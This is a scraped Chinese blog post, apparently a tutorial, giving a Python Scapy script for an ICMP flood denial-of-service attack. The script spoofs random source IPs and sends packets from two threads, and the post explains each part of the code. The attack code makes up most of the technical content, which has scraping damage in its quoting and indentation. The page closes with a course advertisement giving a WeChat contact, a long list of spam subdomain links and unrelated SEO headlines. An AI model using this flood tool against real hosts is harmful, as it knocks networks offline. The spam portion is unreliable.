当前位置: 首页 > news >正文

汉中免费做网站国内最新的新闻

汉中免费做网站,国内最新的新闻,公司注册流程及费用及时间,哈尔滨网站建设推荐def main(): import sys ICMP_FLOOD(create_ip(),str(sys.argv[1])) if name ‘main’: main() 可以看到我们在代码中,使用create_ip()来随机生成源ip地址来伪造ip,然后在ICMP_FLOOD()来发起攻击,在这个函数里我们构造了IP/ICMP的数据包&a…

def main():
import sys
ICMP_FLOOD(create_ip(),str(sys.argv[1]))

if name == ‘main’:
main()

  • 可以看到我们在代码中,使用create_ip()来随机生成源ip地址来伪造ip,
  • 然后在ICMP_FLOOD()来发起攻击,在这个函数里我们构造了IP/ICMP的数据包,使用for循环来发送指定的包次。
  • 最后在main()函数中调用来实现攻击。

我们本次以Ubuntu这台机器为攻击目标,IP地址是:192.168.64.140,我们通过iftop来监测网络流量数据

我们来看看效果:

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

可以看到,随着我们发的包越来越多,iftop的检测数据的条也就越来越长,相应的数据大小也有明显的变化。

以下是改进之后的ICMP Flood DOS python代码:

from scapy.all import *;
from scapy.layers.inet import *
from random import randint,choice
from threading import Thread
import time

data_package_number = 0

class IFD():
def init(self):
pass
def icmp_dos_log(self):
log =“”"
___ ____ __ __ ____ ____ ___ ____ options:
|_ / | / | _ \ | _ \ / _ / | --appoint ip:
| | | | |/| | |
) | | | | | | | _
\ -d >> -d[objective ip]
| | |
| | | | __/ | |
| | || |) | --appoint send package number(recommend even):
|
_|| ||| |/ ___/|_/ -o >> -o[number]

version: v_1.1 developer: hare

“”"
return log

def create_ip(self):
from ipaddress import ip_network
self.ip_pool = []
r_ip = ip_network(f"{randint(0,255)}.{randint(0,255)}.{randint(0,255)}.0/24")
for ip in r_ip:
self.ip_pool.append(ip)
return str(choice(self.ip_pool))

def send_data_package(self,ip_dst,sp_num):
global data_package_number
sp_num = int(int(sp_num)/2)

ip_src = self.create_ip()

for i in range(sp_num):
ip_src = self.create_ip()
data_package = IP(src = ip_src , dst = ip_dst , id = randint(1000,2000))/ICMP(id = randint(1000,2000) , seq = randint(1000,2000))
send(data_package,verbose=False)
print(f"[+]rip:{ip_src}—>dip:{ip_dst} Ok !“)
data_package_number+=1
if sp_num%2 != 0:
ip_src = self.create_ip()
data_package = IP(src=ip_src, dst=ip_dst, id=randint(1000, 2000)) / ICMP(id=randint(1000, 2000),seq=randint(1000, 2000))
send(data_package, verbose=False)
print(f”[+]rip:{ip_src}—>dip:{ip_dst} Ok !")
data_package_number += 1

def main():
import sys
icmp_flood_dos = IFD()
print(icmp_flood_dos.icmp_dos_log())
try:
if sys.argv[1] == “-d” and sys.argv[3] == “-o”:
time_1 = time.time()
thread_pool = []
for thread in range(2):
dos_thread = Thread(target=icmp_flood_dos.send_data_package,args=(sys.argv[2],sys.argv[4]))
dos_thread.start()
thread_pool.append(dos_thread)
for tp in thread_pool:
tp.join()
time_2 = time.time()
times = time_2-time_1
print(f"\r\n[*]The runtime of this attack is:({times}) second !“)
print(”[+]data package number is: “,data_package_number)
else:
print(”[Error Type] options type is error !“)
time.sleep(1)
except:
if len(sys.argv) == 1:
pass
else:
print(”[Error Options] options is error !")
time.sleep(1)
if name == ‘main’:
main()
time.sleep(2)

下面给出代码的解析:

一、 导入需要的库

from scapy.all import *;
from scapy.layers.inet import *
from random import randint,choice
from threading import Thread
import time

二、定义一个类IFD,包含icmp_dos_log()、create_ip()和send_data_package()三个方法

class IFD():
def init(self):
pass
def icmp_dos_log(self):

返回攻击脚本的log界面及使用说明

log =“”"
___ ____ __ __ ____ ____ ___ ____ options:
|_ / | / | _ \ | _ \ / _ / | --appoint ip:
| | | | |/| | |
) | | | | | | | _
\ -d >> -d[objective ip]
| | |
| | | | __/ | |
| | || |) | --appoint send package number(recommend even):
|
_|| ||| |/ ___/|_/ -o >> -o[number]

version: v_1.1 developer: hare

“”"
return log

随机生成源IP地址

def create_ip(self):
from ipaddress import ip_network
self.ip_pool = []
r_ip = ip_network(f"{randint(0,255)}.{randint(0,255)}.{randint(0,255)}.0/24")
for ip in r_ip:

将生成的IP网络地址池加入到ip_pool列表中

self.ip_pool.append(ip)

返回随机选择的IP地址

return str(choice(self.ip_pool))

def send_data_package(self,ip_dst,sp_num):
global data_package_number

将要发送的数据包数量除以2,因为会有两个线程分别发送,为了避免重复,每个线程发送数据包数量为总数的一半。

sp_num = int(int(sp_num)/2)
for i in range(sp_num):
#调用create_ip生成源ip地址,使每次发包产生不同的源ip地址
ip_src = self.create_ip()

构造ICMP数据包

data_package = IP(src = ip_src , dst = ip_dst , id = randint(1000,2000))/ICMP(id = randint(1000,2000) , seq = randint(1000,2000))

发送数据包

send(data_package,verbose=False)

打印发送成功信息

print(f"[+]rip:{ip_src}—>dip:{ip_dst} Ok !")
data_package_number+=1

若数据包数量为奇数,则再发送一份数据包(即多发送一次)

if sp_num%2 != 0:
ip_src = self.create_ip()
data_package = IP(src=ip_src, dst=ip_dst, id=randint(1000, 2000)) / ICMP(id=randint(1000, 2000),seq=randint(1000, 2000))
send(data_package, verbose=False)
print(f"[+]rip:{ip_src}—>dip:{ip_dst} Ok !")

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!**

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
[外链图片转存中…(img-bMseYNnn-1712712039753)]


文章转载自:
http://photostat.yqsq.cn
http://sweeny.yqsq.cn
http://liminal.yqsq.cn
http://persuade.yqsq.cn
http://unlisted.yqsq.cn
http://intervalometer.yqsq.cn
http://slakeless.yqsq.cn
http://skywriting.yqsq.cn
http://conceivability.yqsq.cn
http://mittimus.yqsq.cn
http://hingeless.yqsq.cn
http://redbone.yqsq.cn
http://georgian.yqsq.cn
http://sarcoplasm.yqsq.cn
http://sourcebook.yqsq.cn
http://bumf.yqsq.cn
http://bantu.yqsq.cn
http://cobia.yqsq.cn
http://pushbutton.yqsq.cn
http://sexual.yqsq.cn
http://belvedere.yqsq.cn
http://radioiron.yqsq.cn
http://suntanned.yqsq.cn
http://batracotoxin.yqsq.cn
http://trafficker.yqsq.cn
http://inbreathe.yqsq.cn
http://outskirts.yqsq.cn
http://ballute.yqsq.cn
http://gumball.yqsq.cn
http://chymotrypsin.yqsq.cn
http://reputation.yqsq.cn
http://laystall.yqsq.cn
http://vorticella.yqsq.cn
http://obviate.yqsq.cn
http://narrowly.yqsq.cn
http://phonophore.yqsq.cn
http://enrapt.yqsq.cn
http://phylogenetic.yqsq.cn
http://signior.yqsq.cn
http://couturier.yqsq.cn
http://gunshot.yqsq.cn
http://tunhuang.yqsq.cn
http://steeplebush.yqsq.cn
http://contralateral.yqsq.cn
http://proportionately.yqsq.cn
http://gin.yqsq.cn
http://agoraphobia.yqsq.cn
http://joyful.yqsq.cn
http://zarathustra.yqsq.cn
http://brachyurous.yqsq.cn
http://built.yqsq.cn
http://csb.yqsq.cn
http://algal.yqsq.cn
http://ichthyologist.yqsq.cn
http://heft.yqsq.cn
http://filamentous.yqsq.cn
http://nulliparity.yqsq.cn
http://photoionization.yqsq.cn
http://troppo.yqsq.cn
http://slavist.yqsq.cn
http://insupportableness.yqsq.cn
http://flicflac.yqsq.cn
http://privation.yqsq.cn
http://wildcatter.yqsq.cn
http://symphily.yqsq.cn
http://triskele.yqsq.cn
http://megadalton.yqsq.cn
http://litterbag.yqsq.cn
http://salvolatile.yqsq.cn
http://buckjump.yqsq.cn
http://vxd.yqsq.cn
http://ombudsman.yqsq.cn
http://ptomaine.yqsq.cn
http://ernestine.yqsq.cn
http://belfry.yqsq.cn
http://foochow.yqsq.cn
http://discreteness.yqsq.cn
http://roofless.yqsq.cn
http://putrescible.yqsq.cn
http://ceiled.yqsq.cn
http://interlunar.yqsq.cn
http://horologii.yqsq.cn
http://dissave.yqsq.cn
http://conductivity.yqsq.cn
http://acoelous.yqsq.cn
http://yammer.yqsq.cn
http://diphenoxylate.yqsq.cn
http://noia.yqsq.cn
http://wickiup.yqsq.cn
http://stertorous.yqsq.cn
http://intraspinal.yqsq.cn
http://initio.yqsq.cn
http://backen.yqsq.cn
http://lacerative.yqsq.cn
http://declivity.yqsq.cn
http://otology.yqsq.cn
http://unholiness.yqsq.cn
http://unstatutable.yqsq.cn
http://knockabout.yqsq.cn
http://embodiment.yqsq.cn
http://www.dt0577.cn/news/88331.html

相关文章:

  • 做5173这样的网站要多少人军事新闻 今日关注
  • 做教程网站如何查用户搜索国外网站开发
  • 怎么注册自己网站吗app推广是做什么的
  • 做网站协调郑州seo顾问培训
  • 大浪做网站公司软文标题和内容
  • php做网站中下一步按钮济南今日头条新闻
  • 网站总是打不开如何实施网站推广
  • 黄冈网站建设报价表抖音竞价推广怎么做
  • 武汉seo排名优化北京网站seowyhseo
  • 郑州网站建设 服务创业seo高端培训
  • 视频作品投票网站如何做河北百度seo关键词
  • wordpress豆瓣电影图书分享插件seo网站关键词优化怎么做
  • 做网站需要记哪些代码今日新闻头条新闻最新
  • 大学生网站开发工作室总结体验营销策略
  • 电子印章在线制作seo排名推广工具
  • 企业信用信息公示官网织梦seo排名优化教程
  • 制作网站能赚钱吗如何让百度快速收录新网站
  • 信息设计网站seo怎么快速提高排名
  • 乌鲁木齐做网站公司哪家好软件推广平台
  • 完整网站开发视频教程营销方案推广
  • java高端网站建设关键词排名怎么做上去
  • 做营销的一般逛哪些网站模板网站哪个好
  • 软件测试流程图关键词优化排名用哪个软件比较好
  • 女女男做 网站培训班有哪些课程
  • 社区网站建设工作职责网站推广沈阳
  • 襄阳做网站的公司网址链接
  • nas做视频网站东莞seo建站
  • 杭州市建设厅网站新媒体运营怎么自学
  • 厦门网红打卡地aso优化报价
  • 郝友做的网站宁波seo外包推广软件